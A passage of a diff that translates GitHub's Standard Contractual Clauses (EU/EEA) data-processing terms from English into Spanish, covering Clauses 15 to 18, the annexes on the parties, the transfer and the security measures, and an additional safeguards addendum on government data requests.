+    <li>El importador de datos acuerda revisar la legalidad de la solicitud de divulgación, particularmente, donde se mantenga dentro de los poderes otorgados a la autoridad pública solicitante e impugnar la solicitud si, después de una valoración cuidadosa, concluye que existen bases razonables para considerar que la solicitud es ilegal de acuerdo con las leyes del país destino, las obligaciones aplicables bajo la ley internacional y los principios de cortesía internacional. El importador de datos deberá, bajo las mismas condiciones, buscar las posibilidades de apelación. Cuando se impugne una solicitud, el importador de datos deberá buscar medidas interinas con intención de suspender los efectos de esta hasta que la autoridad judicial competente haya tomado una decisión sobre sus méritos. No deberá divulgar los datos personales solicitados sino hasta que se le requiera hacerlo bajo las normas procesales aplicables. Estos requisitos no tienen prejuicio para las obligaciones del importador de datos bajo la Cláusula 14(e).</li>
+    <li>El importador de datos acuerda documentar su valoración legal y cualquier impugnación a la solicitud de divulgación y, en medida de lo permisible bajo las leyes del país destino, poner la documentación a disposición del exportador de datos. También debe ponerla a disposición de la autoridad supervisora competente bajo solicitud. </li>
+    <li>El importador de datos acuerda proporcionar la cantidad mínima de información permisible cuando responda a una solicitud de divulgación, con base en una interpretación razonable de dicha solicitud.</li>
 </ol>
 
-#### SECTION IV – FINAL PROVISIONS
+#### SECCIÓN IV - DISPOSICIONES GENERALES
 
-##### Clause 16
+##### Cláusula 16
 
-**Non-compliance with the Clauses and termination**
+**Falta de cumplimiento con las Cláusulas y terminación**
 
 <ol style="list-style-type:lower-alpha" class="no-styling">
-    <li>The data importer shall promptly inform the data exporter if it is unable to comply with these Clauses, for whatever reason.</li>
-    <li>In the event that the data importer is in breach of these Clauses or unable to comply with these Clauses, the data exporter shall suspend the transfer of personal data to the data importer until compliance is again ensured or the contract is terminated. This is without prejudice to Clause 14(f).</li>
-    <li>The data exporter shall be entitled to terminate the contract, insofar as it concerns the processing of personal data under these Clauses, where:</li>
+    <li>El importador de datos deberá informar inmediatamente al exportador de datos en caso de no ser capaz de cumplir con las presentes Cláusulas, por cualquier motivo.</li>
+    <li>En caso de que el importador de datos se encuentre en violación de las presentes Cláusulas o sea incapaz de cumplir con ellas, el exportador de datos deberá suspender la transferencia de los datos personales al importador de datos hasta que se pueda garantizar el cumplimiento nuevamente o terminar el contrato. Esto no conlleva prejuicio alguno a la Cláusula 14(f).</li>
+    <li>El exportador de datos tendrá el derecho de terminar el contrato en la medida en la que competa al procesamiento de datos personales bajo las presentes Cláusulas, cuando:</li>
     <ol style="list-style-type:lower-roman" class="no-styling">
-        <li> the data exporter has suspended the transfer of personal data to the data importer pursuant to paragraph (b) and compliance with these Clauses is not restored within a reasonable time and in any event within one month of suspension;</li>
-        <li> the data importer is in substantial or persistent breach of these Clauses; or</li>
-        <li> the data importer fails to comply with a binding decision of a competent court or supervisory authority regarding its obligations under these Clauses.</li>    
+        <li> el exportador de datos haya suspendido la transferencia de datos personales al importador de datos de acuerdo con el párrafo (b) y el cumplimiento con las Cláusulas presentes no se restablezca dentro de un límite de tiempo razonable y en cualquier evento dentro de un mes posterior a la suspensión;</li>
+        <li> el importador de datos se encuentre en una violación persistente y sustancial de las Cláusulas presentes; o</li>
+        <li> el importador de datos falle en cumplir con una decisión vinculante de una corte competente o autoridad supervisora con respecto a sus obligaciones bajo estas Cláusulas.</li>    
     </ol></br>
-    In these cases, it shall inform the competent supervisory authority of such non-compliance. Where the contract involves more than two Parties, the data exporter may exercise this right to termination only with respect to the relevant Party, unless the Parties have agreed otherwise.
-    <li> Personal data that has been transferred prior to the termination of the contract pursuant to paragraph (c) shall at the choice of the data exporter immediately be returned to the data exporter or deleted in its entirety. The same shall apply to any copies of the data. The data importer shall certify the deletion of the data to the data exporter. Until the data is deleted or returned, the data importer shall continue to ensure compliance with these Clauses. In case of local laws applicable to the data importer that prohibit the return or deletion of the transferred personal data, the data importer warrants that it will continue to ensure compliance with these Clauses and will only process the data to the extent and for as long as required under that local law.</li>
-    <li> Either Party may revoke its agreement to be bound by these Clauses where (i) the European Commission adopts a decision pursuant to Article 45(3) of Regulation (EU) 2016/679 that covers the transfer of personal data to which these Clauses apply; or (ii) Regulation (EU) 2016/679 becomes part of the legal framework of the country to which the personal data is transferred. This is without prejudice to other obligations applying to the processing in question under Regulation (EU) 2016/679.</li>
+    En estos casos, deberá informar a la autoridad supervisora competente sobre dicho incumplimiento. Cuando el contrato involucre a más de dos Partes, el exportador de datos podría ejercer su derecho a la terminación, únicamente con respecto a la Parte relevante, a menos de que las Partes hayan acordado lo contrario.
+    <li> Los datos personales que se hayan transferido antes de la terminación del contrato de acuerdo con el párrafo (c) deberán, bajo elección del exportador de datos, devolvérsele inmediatamente o borrarse en su totalidad. Lo mismo deberá aplicar a cualquier copia de los datos. El importador de datos deberá certificar el borrado de estos al exportador. Has que se borren o devuelvan los datos, el importador de datos deberá seguir asegurando el cumplimiento con estas Cláusulas. En caos de que existan leyes locales aplicables para que el importador de datos prohíba la devolución o borrado de los datos personales transferidos, este garantiza que seguirá garantizando el cumplimiento con las presentes Cláusulas y solo procesará los datos en medida y hasta donde lo requieran dichas leyes locales.</li>
+    <li> Cada Parte podría revocar su acuerdo a vincularse con las presentes Cláusulas cuando (i) la Comisión Europea adopte una decisión de conformidad con el Artículo 45(3) de la Regulación (UE) 2016/679 que cubra la transferencia de los datos personales a los cuáles apliquen estas Cláusulas; o (ii) cuando la Regulación (UE) 2016/679 se convierta en parte del marco legal del país al cual se transfieren los datos personales. Esto es sin prejuicio a otras obligaciones que aplican al procesamiento en cuestión bajo la Regulación (UE) 2016/679.</li>
 </ol>
 
-##### Clause 17
+##### Cláusula 17
 
-**Governing law**
+**Legislación aplicable**
 
-These Clauses shall be governed by the law of one of the EU Member States, provided such law allows for third-party beneficiary rights. The Parties agree that this shall be the law of the Netherlands.
+Estas Cláusulas se regirán por la ley de uno de los Estados Miembro de la UE, siempre y cuando dicha ley permita que existan los derechos de beneficiarios terceros. Las Partes acuerdan que esta será la ley de los Países Bajos.
 
-##### Clause 18
+##### Cláusula 18
 
-**Choice of forum and jurisdiction**
+**Elección de foro y jurisdicción**
 
 <ol style="list-style-type:lower-alpha" class="no-styling">
-    <li>Any dispute arising from these Clauses shall be resolved by the courts of an EU Member State.</li>
-    <li>The Parties agree that those shall be the courts of the Netherlands.</li>
-    <li>A data subject may also bring legal proceedings against the data exporter and/or data importer before the courts of the Member State in which he/she has his/her habitual residence.</li>
-    <li>The Parties agree to submit themselves to the jurisdiction of such courts.</li>
+    <li>Cualquier disputa que se origina por estas Cláusulas deberá resolverse en la corte de un Estado Miembro de la UE.</li>
+    <li>Las Partes acuerdan que estas serán las cortes de los Países Bajos.</li>
+    <li>Un sujeto de datos también podrá interponer procedimientos legales contra el exportador de datos o el importador de datos ante las cortes del Estado miembro en el cual tenga su residencia habitual.</li>
+    <li>Las partes acuerdan someterse a la jurisdicción de dichas cortes.</li>
 </ol>
 
-## ANNEX I
+## ANEXO I
 
-**to the Standard Contractual Clauses (EU/EEA)**
+**sobre las Cláusulas Contractuales Estándar (UE/EEA)**
 
-### A. LIST OF PARTIES
+### A. LISTA DE PARTES
 
-**Data exporter(s)**: Customer is the data exporter</br>
-Name: see GitHub Customer Agreement</br>
-Address: see GitHub Customer Agreement</br>
-Contact person’s name, position and contact details: see GitHub Customer Agreement</br>
-Activities relevant to the data transferred under these Clauses:</br>
-The data exporter is a user of Online Services or Professional Services as defined in the DPA and GitHub Customer Agreement.</br>
-Signature and date: see GitHub Customer Agreement (the DPA and the Standard Contractual Clauses (EU/EEA) are incorporated into the GitHub Customer Agreement</br>
-Role (controller/processor): controller (unless otherwise agreed in the Customer Agreement). </br>
+**Exportador(es) de datos**: El cliente es el exportador de datos</br> Nombre: consulta el Acuerdo de Cliente de GitHub</br> Dirección: consulta el Acuerdo de Cliente de GitHub</br> Nombre posición y detalles de la persona de contacto: consulta el Acuerdo de Cliente de GitHub</br> Actividades relevantes para los datos transferidos bajo estas Cláusulas:</br> El exportador de datos es un usuario de los Servicios en Línea o Servicios Profesionales de acuerdo con lo que se define en el DPA y en el Acuerdo de Cliente de GitHub.</br> Firma y fecha: consulta el Acuerdo de Cliente de GitHub (el DPA y las Cláusulas Contractuales Estándar (UE/EEA) se incorporan en el Acuerdo de Cliente de GitHub</br> Rol (controlador/procesador): controlador (a menos de que se haya acordado de forma distinta en el Acuerdo de Cliente). </br>
 
-**Data importer(s)**:</br>
-Name: GitHub, Inc.</br>
-Address: 88 Colin P Kelly Jr St, San Francisco, CA 94107, USA</br>
-Contact person’s name, position and contact details: Frances Wiet, Head of Privacy, fwiet@github.com</br>
-Activities relevant to the data transferred under these Clauses:</br>
-GitHub, Inc. is a global producer of software and services </br>
-Signature and date: see GitHub Customer Agreement (the DPA and the Standard Contractual Clauses (EU/EEA) are incorporated into the GitHub Customer Agreement)</br>
-Role (controller/processor): processor or, depending on the agreements set forth in the Customer Agreement, subprocessor. 
- 
-### B. DESCRIPTION OF TRANSFER
+**Importador(es) de datos**:</br> Nombre: GitHub, Inc.</br> Dirección: 88 Colin P Kelly Jr St, San Francisco, CA 94107, EE.UU.</br> Nombre posición y detalles de la persona de contacto: Frances Wiet, Jefe de Privacidad, fwiet@github.com</br> Actividades relevantes para los datos transferidos bajo estas Cláusulas:</br> GitHub, Inc. es un productor global de software y servicios </br> Fecha y firma: consulta el Acuerdo de Cliente de GitHub (el DPA y las Cláusulas Contractuales Estándar (UE/EEA) se incorporan en el Acuerdo de Cliente de GitHub)</br> Rol (controlador/procesador): procesador o, dependiendo de los acuerdos que se establezcan en el Acuerdo de Cliente, subprocesador.
 
-_Categories of data subjects whose personal data is transferred:_
+### B. DESCRIPCIÓN DE LA TRANSFERENCIA
 
-Data subjects include the data exporter’s representatives and end-users including employees, contractors, collaborators, and customers of the data exporter. Data subjects may also include individuals attempting to communicate or transfer personal data to users of the services provided by data importer. GitHub acknowledges that, depending on Customer’s use of the Online Service or Professional Services, Customer may elect to include personal data from any of the following types of data subjects in the personal data:
-- Employees, contractors and temporary workers (current, former, prospective) of data exporter;
-- Data exporter's collaborators/contact persons (natural persons) or employees, contractors or temporary workers of legal entity collaborators/contact persons (current, prospective, former);
-- Users and other data subjects that are users of data exporter's services;
-- Partners, stakeholders or individuals who actively collaborate, communicate or otherwise interact with employees of the data exporter and/or use communication tools such as apps and websites provided by the data exporter.
+_Categorías de los sujetos de datos cuyos datos personales se transfirieron:_
 
-_Categories of personal data transferred:_
+Los titulares de los datos incluyen a los representantes de los exportadores de datos y a los usuarios finales, incluyendo a los empleados, consultores, colaboradores, y clientes del exportador de los datos. Los titulares de los datos también podrían incluir a aquellos individuos que intentan comunicarse o transferir datos personales a los usuarios de los servicios proporcionados por el importador de los datos. GitHub reconoce que, dependiendo del uso del Cliente para el Servicio en Línea o Servicios Profesionales, este podrá elegir el incluir datos personales desde cualquier otro de los siguientes tipos de sujetos de datos en ellos:
+- Empleados, consultores y trabajadores temporales (actuales, previos o futuros) del exportador de los datos;
+- Consultores/personas de contacto del exportador de datos (personas naturales) o los empleados, consultores o trabajadores temporales de la entidad legal de las personas de contacto/consultores (actuales, futuros, pasados);
+- Usuarios y otros sujetos de datos que sean usuarios de servicios de exportación de datos;
+- Socios, interesados o individuos que colaboren, se comuniquen o interactuen activamente de otra forma con los empleados del exportador de los datos y/o que utilicen herramientas de comunicación tales como apps y sitios web que proporcione el exportador de los datos.
 
-The personal data transferred that is included in e-mail, documents and other data in an electronic form in the context of the Online Services or Professional Services. GitHub acknowledges that, depending on Customer’s use of the Online Service or Professional Services, Customer may elect to include personal data from any of the following categories in the personal data:
-- Basic personal data (for example place of birth, street name and house number (address), postal code, city of residence, country of residence, mobile phone number, first name, last name, initials, email address, gender, date of birth);
-- Authentication data (for example user name, password or PIN code, security question, audit trail);
-- Contact information (for example addresses, email, phone numbers, social media identifiers; emergency contact details);
-- Unique identification numbers and signatures (for example IP addresses, employee number, student number);
-- Pseudonymous identifiers; 
-- Photos, video and audio;
-- Internet activity (for example browsing history, search history, reading and viewing activities);
-- Device identification (for example IMEI-number, SIM card number, MAC address);
-- Profiling (for example based on observed criminal or anti-social behavior or pseudonymous profiles based on visited URLs, click streams, browsing logs, IP-addresses, domains, apps installed, or profiles based on marketing preferences);
-- Special categories of data as voluntarily provided by data subjects (for example racial or ethnic origin, political opinions, religious or philosophical beliefs, trade union membership, genetic data, biometric data for the purpose of uniquely identifying a natural person, data concerning health, data concerning a natural person’s sex life or sexual orientation, or data relating to criminal convictions or offences); or
-- Any other personal data identified in Article 4 of the GDPR.
+_Categorías de los datos personales transferidos:_
 
-_**Sensitive data** transferred (if applicable) and applied restrictions or safeguards that fully take into consideration the nature of the data and the risks involved, such as for instance strict purpose limitation, access restrictions (including access only for staff having followed specialised training), keeping a record of access to the data, restrictions for onward transfers or additional security measures:_ </br>
-GitHub does not request or otherwise ask for sensitive data and receives such 
-data only if and when customers or data subjects decide to provide it.
+Los datos personales transferidos que se incluyen en los correos electrónicos, documentos y en otros tipos de datos en forma electrónica o en el contexto del Servicio en Línea o de los Servicios Profesionales. GitHub reconoce que, dependiendo del uso que el Cliente dé al Servicio en Línea o Servicios Profesionales, este podrá elegir incluir datos personales de cualquiera de las siguientes categorías entre los suyos:
+- Datos personales básicos (por ejemplo: lugar de nacimiento, nombre de calle y número de casa (dirección), código postal, ciudad de residencia, país de residencia, número de teléfono móvil, nombre, apellido, iniciales, dirección de correo electrónico, género, fecha de naciemiento);
+- Datos de autenticación (por ejemplo: nombre de usuario, contraseña, código PIN, pregunta de seguridad, rastro de auditoría);
+- Información de contacto (por ejemplo: direcciones, correo electrónico, números telefónicos, identificadores de redes sociales; detalles de contactos de emergencia);
+- Números de identificación únicos y firmas (por ejemplo: direcciones IP, número de empleado, número de alumno);
+- Identificadores pseudónimos;
+- Fotos, video y audio;
+- Actividad en internet (por ejemplo; historial de búsqueda, actividades de visualización y lectura);
+- Identificación de dispositivos (por ejemplo, número IMEI, número de tarjeta SIM, dirección MAC);
+- Perfilado (por ejemplo: con base en el comportamiento criminal o antisocial que se haya observado o perfiles pseudónimos con base en las URL visitadas, clics en transmisiones, bitácoras de búsqueda, direcciones IP, dominios, apps instaladas o perfiles con base en las preferencias de mercadeo);
+- Categorías especiales de datos que los sujetos de datos proporcionen de forma voluntaria (por ejemplo: origen racial o étnico, opiniones políticas, creencias filosóficas o religiosas, membrecías de sindicatos, datos genéticos, datos biométricos para identificar únicamente a una persona natural, datos sobre la salud, datos sobre la vida u orientación sexual de una persona o datos relacionados con convicciones u ofensas criminales); o
+- Cualquier otro tipo de datos identificados en el Artículo 4 de la GDPR.
 
-_**The frequency of the transfer** (e.g. whether the data is transferred on a one-off or continuous basis):_
+_**Datos sensibles** transferidos (de ser aplicable) y restricciones o salvaguardas aplicadas que tomen integralmente en consideración la naturaleza de los datos y los riesgos involucrados, tales como por ejemplo la limitación estricta de propósitos, restricciones de acceso (incluyendo el acceso únicamente para el personal que haya tenido capacitación especializada), mantener un registro del acceso a los datos, restricciones para las transferencias constantes o medidas de seguridad adicionales:_ </br> GitHub no solicita ni pide de otra forma datos sensibles y los recibe únicamente cuando los clientes o sujetos de datos deciden proporcionarlos.
 
-Continuous as part of the Online Services or Professional Services.
+_**La frecuencia de transferencia** (por ejemplo: ya sea que los datos se transfieran en una sola ocasión o contínuamente):_
 
-_**Nature of the processing:**_
+Continuo como parte de los Servicios en Línea o Servicios Profesionales.
 
-The personal data transferred will be subject to the following basic processing activities: 
+_**Naturaleza del procesamiento:**_
+
+Los datos personales transferidos estarán sujetos a las siguientes actividades procesales básicas:
 <ol style="list-style-type:lower-alpha" class="no-styling">
-  <li><b>Duration and Object of Data Processing</b>. The duration of data processing shall be for the term designated under the applicable GitHub Customer Agreement between data exporter and the data importer. The objective of the data processing is the performance of Online Services and Professional Services.</li>
-  <li><b>Personal Data Access</b>. For the term designated under the applicable GitHub Customer Agreement, data importer will, at its election and as necessary under applicable law, either: (1) provide data exporter with the ability to correct, delete, or block personal data, or (2) make such corrections, deletions, or blockages on its behalf.</li>
-  <li><b>Data Exporter’s Instructions</b>. For Online Services and Professional Services, data importer will only act upon data exporter’s instructions. </li>
+  <li><b>Duración y objeto del procesamiento de datos</b>. La duración del procesamiento de datos deberá ser por el periodo designado bajo el Acuerdo de Cliente de GitHub aplicable entre el exportador y el importador de datos. El objetivo del procesamiento de los datos es el desempeño de los Servicios en Línea y Servicios Profesionales.</li>
+  <li><b>Acceso a los Datos Personales</b>. Durante el periodo designado bajo el Acuerdo de Cliente de GitHub aplicable, el importador de datos, bajo su elección y de acuerdo como sea necesario bajo la ley aplicable, ya sea: (1) proporcionará al exportador de datos la capacidad de corregir, borrar o bloquear los datos personales, o (2) realizará dichas correcciones, borrados o bloqueos en su nombre.</li>
+  <li><b>Instrucciones del exportador de datos</b>. Para los Servicios en Línea y Servicios Profesionales, el importador de datos solo actuará bajo las instrucciones del exportador. </li>
 </ol>
 
-_Purpose(s) of the data transfer and further processing:_
+_Propósito(s) de la transferencia de datos y procesamiento subsecuente:_
 
-The scope and purpose of processing personal data is described in the “Processing of Personal Data; GDPR” section of the DPA. The data importer operates a global network of data centers and management/support facilities, and processing may take place in any jurisdiction where data importer or its sub-processors operate such facilities in accordance with the “Security Practices and Policies” section of the DPA.
+El alcance y propósito de procesar datos personales se describe en la sección "Procesamiento de Datos Personales; GDPR" del DPA. El importador de datos opera una red global de centros de datos e instalaciones de soporte/administración y dicho procesamiento podría tomar lugar en cualquier jurisdicción en donde el importador de datos o sus subprocesadores operen dichas instalaciones de acuerdo con la sección de "Prácticas y Políticas de Seguridad" del DPA.
 
-_The period for which the personal data will be retained, or, if that is not possible, the criteria used to determine that period:_
+_El periodo por el cual se retendrán los datos personales o, en caso de no ser posible, los criterios que se utilizan para terminar dicho periodo serán:_
 
-Upon expiration or termination of data exporter’s use of Online Services or Professional Services, it may extract personal data and data importer will delete personal data, each in accordance with the DPA Terms applicable to the agreement.
+Cuando venza o finalice el uso de los Servicios en Línea o Servicios Profesionales por parte del exportador de datos, este podrá extraer datos personales y el importador de datos borrará dichos datos personales, cada uno de acuerdo con los Términos del DPA que apliquen al acuerdo.
 
-_For transfers to (sub-) processors, also specify subject matter, nature and duration of the processing:_
+_Para las transferencias a los (sub)procesadores, también se especificará la materia, naturaleza y duración del procesameinto:_
 
-In accordance with the DPA, the data importer may hire other companies to provide limited services on data importer’s behalf, such as providing customer support. Any such subcontractors will be permitted to obtain personal data only to deliver the services the data importer has retained them to provide, and they are prohibited from using personal data for any other purpose. Unless a particular subcontractor is replaced ahead of time, the processing will be for the term designated under the applicable GitHub Customer Agreement between data exporter and data importer.
+De acuerdo con la DPA, el importador de los datos podrá contratar a otras compañías para proporcionar servicios limitados en nombre del importador de los datos, tales como proporcionar soporte al cliente. Se permitirá a cualquier subcontratista obtener los datos personales únicamente para entregar los servicios que el importador de datos haya retenido en su entrega y se prohibirá utilizar datos personales para cualquier otro propósito. A menos de que se reemplace a un subcontratista en particular antes de tiempo, el procesamiento tomará lugar en el periodo designado bajo el Acuerdo de Cliente de GitHub aplicable entre el exportador y el importador de datos.
 
-### C. COMPETENT SUPERVISORY AUTHORITY
+### C. AUTORIDAD SUPERVISORA COMPETENTE
 
-_Identify the competent supervisory authority/ies in accordance with Clause 13:_
+_Identificar la(s) autoridad(es) supervisora(s) competente(s) de acuerdo con la Cláusula 13:_
 
-The supervisory authority with responsibility for ensuring compliance by the data exporter with Regulation (EU) 2016/679. 
- 
-## ANNEX II
+La autoridad supervisora con responsabilidad para asegurar el cumplimiento del exportador de datos con la Regulación (UE) 2016/679.  
+## ANEXO II
 
-**to the Standard Contractual Clauses (EU/EEA)**
+**sobre las Cláusulas Contractuales Estándar (UE/EEA)**
 
-**TECHNICAL AND ORGANISATIONAL MEASURES INCLUDING TECHNICAL AND ORGANISATIONAL MEASURES TO ENSURE THE SECURITY OF THE DATA**
+**MEDIDAS TÉCNICAS Y ORGANIZACIONALES INCLUYENDO AQUELLAS PARA GARANTIZAR LA SEGURIDAD DE LOS DATOS**
 
-_Description of the technical and organisational measures implemented by the data importer(s) (including any relevant certifications) to ensure an appropriate level of security, taking into account the nature, scope, context and purpose of the processing, and the risks for the rights and freedoms of natural persons._
+_Descripción de las medidas técnicas y organizacionales que implementa el(los) importador(es) de datos (incluyendo cualquier certificación relevante) para garantizar un nivel de seguridad adecuado, tomando en cuenta la naturaleza, alcance, contexto y propósito del procesamiento y los riesgos de los derechos y libertades de las personas naturales._
 
 <ol style="list-style-type:decimal" class="no-styling">
-    <li>Data Security Certifications. Data importer holds the following data security certifications:</li>
+    <li>Certificaciones de seguridad en datos. El importador mantendrá las siguientes certificaciones de seguridad en datos:</li>
     <ul>
-        <li>SOC 1, Type 2; </li>
-        <li>SOC 2, Type 2;</li>
-        <li>NIST, to the extent incorporated for FedRAMP Low-Impact / Tailored ATO.</li>
+        <li>SOC 1, Tipo 2; </li>
+        <li>SOC 2, Tipo 2;</li>
+        <li>NIST, de acuerdo con lo uncorporado para FedRAMP de bajo impacto / ATO adaptada.</li>
     </ul>
-    <li>Personnel. Data importer’s personnel will not process personal data without authorization. Personnel are obligated to maintain the confidentiality of any such personal data and this obligation continues even after their engagement ends.</li>    
-    <li>Data Privacy Contact. The data privacy officer of the data importer can be reached at the following address: </br></br>
+    <li>Personal. El personal del importador de datos no procesará datos personales sin autorización. El personal está obligado a mantener la confidencialidad de cualquier dato personal y dicha obligación seguirá incluso después de que su relación termine.</li>    
+    <li>Contacto de privacidad de datos. Podrá contactarse al encargado de la privacidad de los datos que designe el importador de datos en la siguiente dirección: </br></br>
     GitHub, Inc.</br>
     Attn: Privacy</br>
     88 Colin P. Kelly Jr. Street </br>
-    San Francisco, California 94107 USA <br></li></br>
-    <li>Technical and Organization Measures. The data importer has implemented and will maintain appropriate technical and organizational measures, internal controls, and information security routines intended to protect personal data, as defined in the Security Practices and Policies section of the DPA, against accidental loss, destruction, or alteration; unauthorized disclosure or access; or unlawful destruction as follows: The technical and organizational measures, internal controls, and information security routines set forth in the Data Security section of the DPA are hereby incorporated into this Annex II to Attachment 1 by this reference and are binding on the data importer as if they were set forth in this Annex 2 to Attachment 1 in their entirety.</li>
+    San Francisco, California 94107 EE.UU. <br></li></br>
+    <li>Medidas técnicas y organizacionales. El importador de datos ha implementado y mantendrá las medidas técnicas y organizacionales adecuadas, los controles internos y las rutinas de seguridad informática previstas para proteger los datos personales, de acuerdo con lo que se define en la sección de Prácticas y Políticas de Seguridad del DPA, contra la pérdida accidental, destrucción o alteración; divulgación o acceso no autorizados o destrucción ilegal de acuerdo con lo siguiente: Las medidas técnicas y organizacionales, controles internos y rutinas de seguridad informática dispuestas en la sección de Seguridad da Datos del DPA se incorporan a la presente en este Anexo II en el Adjunto 1 mediante esta referencia y vinculan al importador de datos como si se hubieran dispuesto en el presente Anexo 2 en el Adjunto 1 integralmente.</li>
 </ol>
 
-_For transfers to (sub-) processors, also describe the specific technical and organisational measures to be taken by the (sub-) processor to be able to provide assistance to the controller and, for transfers from a processor to a sub-processor, to the data exporter:_
+_En le caso de las transferencias a los (sub) procesadores, también describe las medidas técnicas y organizacionales que deberá tener el (sub) procesador para poder proporcionar asistencia al controlador y, para las transferencias de procesador a subprocesador, al exportador de datos:_
 
-**Vendor management program - third-party risk program**
+**Programa de administración de proveedores - programa de riesgos de terceros**
 
-The data importer has a vendor risk assessment process, vendor contract clauses and additional data protection agreements with vendors. Vendors undergo reassessment when a new business use case is requested. The data importer’s vendor risk program is structured so all of data importer’s vendors' risk assessments are refreshed two years from the last review date.
+El importador cuenta con un proceso de valoración de riesgos de proveedores, cláusulas contractuales y acuerdos de protección de datos adicionales con estos. Los proveedores se someterán a una revaloración cuando se solicite un caso de uso de negocio nuevo. El programa de riesgos de proveedores del importador de datos se estructura de tal manera que todas las valoraciones de riesgo de sus proveedores se renueven cada dos años desde la última fecha de revisión.
 
-Vendors deemed high risk, such as data center providers or other vendors storing or processing data in scope for the data importer’s regulatory or contractual requirements, undergo reassessment annually.
- 
-## ANNEX III
+Los proveedores que se consideren de alto riesgo, tales como los de los centros de datos u otros que procesen o almacenen datos en el alcance de los requisitos contractuales o regulatorios del importador de datos, se someterán a una revaloración anualmente.
 
-**to the Standard Contractual Clauses (EU/EEA)**
+## ANEXO III
 
-**Additional Safeguards Addendum**
+**sobre las Cláusulas Contractuales Estándar (UE/EEA)**
 
-By this Additional Safeguards Addendum to Standard Contractual Clauses (EU/EEA) (this “Addendum”), GitHub, Inc. (“GitHub”) provides additional safeguards to Customer and additional redress to the data subjects to whom Customer’s personal data relates. 
+**Adenda de Salvaguardas Adicionales**
 
-This Addendum supplements and is made part of, but is not in variation or modification of, the Standard Contractual Clauses (EU/EEA).
+Mediante la presente Adenda de Salvaguardas Adicionales a las Cláusulas Contractuales Estándar (UE/EEA) (esta "Adenda"), GitHub, Inc. ("GitHub") proporciona salvaguardas adicionales a los clientes y direcciones adicionales a los sujetos de datos a quienes se refieren los datos personales de Cliente.
+
+La presente Adenda complementa y se hace parte de, pero no para variar ni modificar a, las Cláusulas Contractuales Estándar (UE/EEA).
 
 <ol style="list-style-type:decimal" class="no-styling">
-    <li><u><b>Challenges to Orders</b></u>. In addition to Clause 15.1 of the Standard Contractual Clauses (EU/EEA), in the event GitHub receives an order from any third party for compelled disclosure of any personal data that has been transferred under the Standard Contractual Clauses (EU/EEA), GitHub shall:</li>
+    <li><u><b>Impugnaciones a las órdenes</b></u>. Adicionalmente a la Cláusula 15.1 de las Cláusulas Contractuales Estándar (UE/EEA), en caso de que GitHub reciba una orden de cualquier tercero sobre la divulgación obligatoria de cualquier dato personal que se haya transferido bajo las Cláusulas Contractuales Estándar (UE/EEA), GitHub deberá:</li>
     <ol style="list-style-type:lower-alpha" class="no-styling">
-        <li>use every reasonable effort to redirect the third party to request data directly from Customer;</li>
-        <li>promptly notify Customer, unless prohibited under the law applicable to the requesting third party, and, if prohibited from notifying Customer, use all lawful efforts to obtain the right to waive the prohibition in order to communicate as much information to Customer as soon as possible; and</li>
-        <li>use all lawful efforts to challenge the order for disclosure on the basis of any legal deficiencies under the laws of the requesting party or any relevant conflicts with the law of the European Union or applicable Member State law.</li>
+        <li>utilizar esfuerzos razonables para redirigir al tercero para que solicite los datos directamente del Cliente;</li>
+        <li>notificar inmediatamente al Cliente, a menos de que la legislación aplicable lo prohíba para el tercero solicitante y, en caso de que esta prohíba notificar al Cliente, utilizar esfuerzos legales para obtener el derecho de exonerar la prohibición para comunicar al Cliente tanta información como sea posible lo más rápido posible; y</li>
+        <li>utilizar esfuerzos legales para impugnar la orden de divulgación con base en cualquier deficiencia legal bajo las leyes de la parte solicitante o cualquier conflicto relevante con la ley de la Unión Europea o la Ley del Estado miembro aplicable.</li>
     </ol></br>
-    For purpose of this section, lawful efforts do not include actions that would result in civil or criminal penalty such as contempt of court under the laws of the relevant jurisdiction. 
-    <li><u><b>Indemnification of Data Subjects</b></u>. Subject to Sections 3 and 4, GitHub shall indemnify a data subject for any material or non-material damage to the data subject caused by GitHub’s disclosure of personal data of the data subject that has been transferred under the Standard Contractual Clauses (EU/EEA) in response to an order from a non-EU/EEA government body or law enforcement agency (a “Relevant Disclosure”). Notwithstanding the foregoing, GitHub shall have no obligation to indemnify the data subject under this Section 2 to the extent the data subject has already received compensation for the same damage, whether from GitHub or otherwise.</li>
-    <li><u><b>Conditions of Indemnification</b></u>. Indemnification under Section 2 is conditional upon the data subject establishing, to GitHub’s reasonable satisfaction, that:</li>
+    Para el propósito de esta sección, los esfuerzos legales no incluirán las acciones que pudieran dar como resultado sanciones judiciales o civiles, tales como desacato a la corte bajo las leyes de la jurisdicción relevante. 
+    <li><u><b>Indemnización de los sujetos de datos</b></u>. Sujeto a las Secciones 3 y 4, GitHub deberá indemnizar a cualquier sujeto de datos por el daño material o no material al mismo que ocasiones la divulgación de sus datos personales por parte de GitHub, la cual se haya transferido bajo las Cláusulas Contractuales Estándar (UE/EEA) en respuesta a una orden de un cuerpo gubernamental o agencia policial diferentes a los de la UE/EEA (una "Divulgación Relevante"). No obstante de lo anterior, GitHub no tendrá obligación de indemnizar al sujeto de datos bajo esta sección 2 conforme a lo dispuesto cuando el sujeto de datos ya haya recibido una compensación por el mismo daño, ya sea de GitHub o de cualquier otro modo.</li>
+    <li><u><b>Condiciones de indemnización</b></u>. La indemnización bajo la sección 2 es condicional al establecimiento del sujeto de datos, para la satisfacción razonable de GitHub, que:</li>
     <ol style="list-style-type:lower-alpha" class="no-styling">
-        <li>GitHub engaged in a Relevant Disclosure;</li>
-        <li>the Relevant Disclosure was the basis of an official proceeding by the non-EU/EEA government body or law enforcement agency against the data subject; and</li>
-        <li>the Relevant Disclosure directly caused the data subject to suffer material or non-material damage.</li>
+        <li>GitHub participó en una Divulgación Relevante;</li>
+        <li>dicha Divulgación Relevante fue la base de un procedimiento oficial del cuerpo gubernamental o agencia policial diferente a la de la UE/EEA en contra del sujeto de datos; y</li>
+        <li>la Divulgación Relevante ocasionó directamente que el sujeto de datos sufriera daños materiales o no materiales.</li>
     </ol></br>
-    The data subject bears the burden of proof with respect to conditions a. though c.</br>
-    Notwithstanding the foregoing, GitHub shall have no obligation to indemnify the data subject under Section 2 if GitHub establishes that the Relevant Disclosure did not violate its obligations under Chapter V of the GDPR.</br>
-    <li><u><b>Scope of Damages</b></u>. Indemnification under Section 2 is limited to material and non-material damages as provided in the GDPR and excludes consequential damages and all other damages not resulting from GitHub’s infringement of the GDPR.</li>
